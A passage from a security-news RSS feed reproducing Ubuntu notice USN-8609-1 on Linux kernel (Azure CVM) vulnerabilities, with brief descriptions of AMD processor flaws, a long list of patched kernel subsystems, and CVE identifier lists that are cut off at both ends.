CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
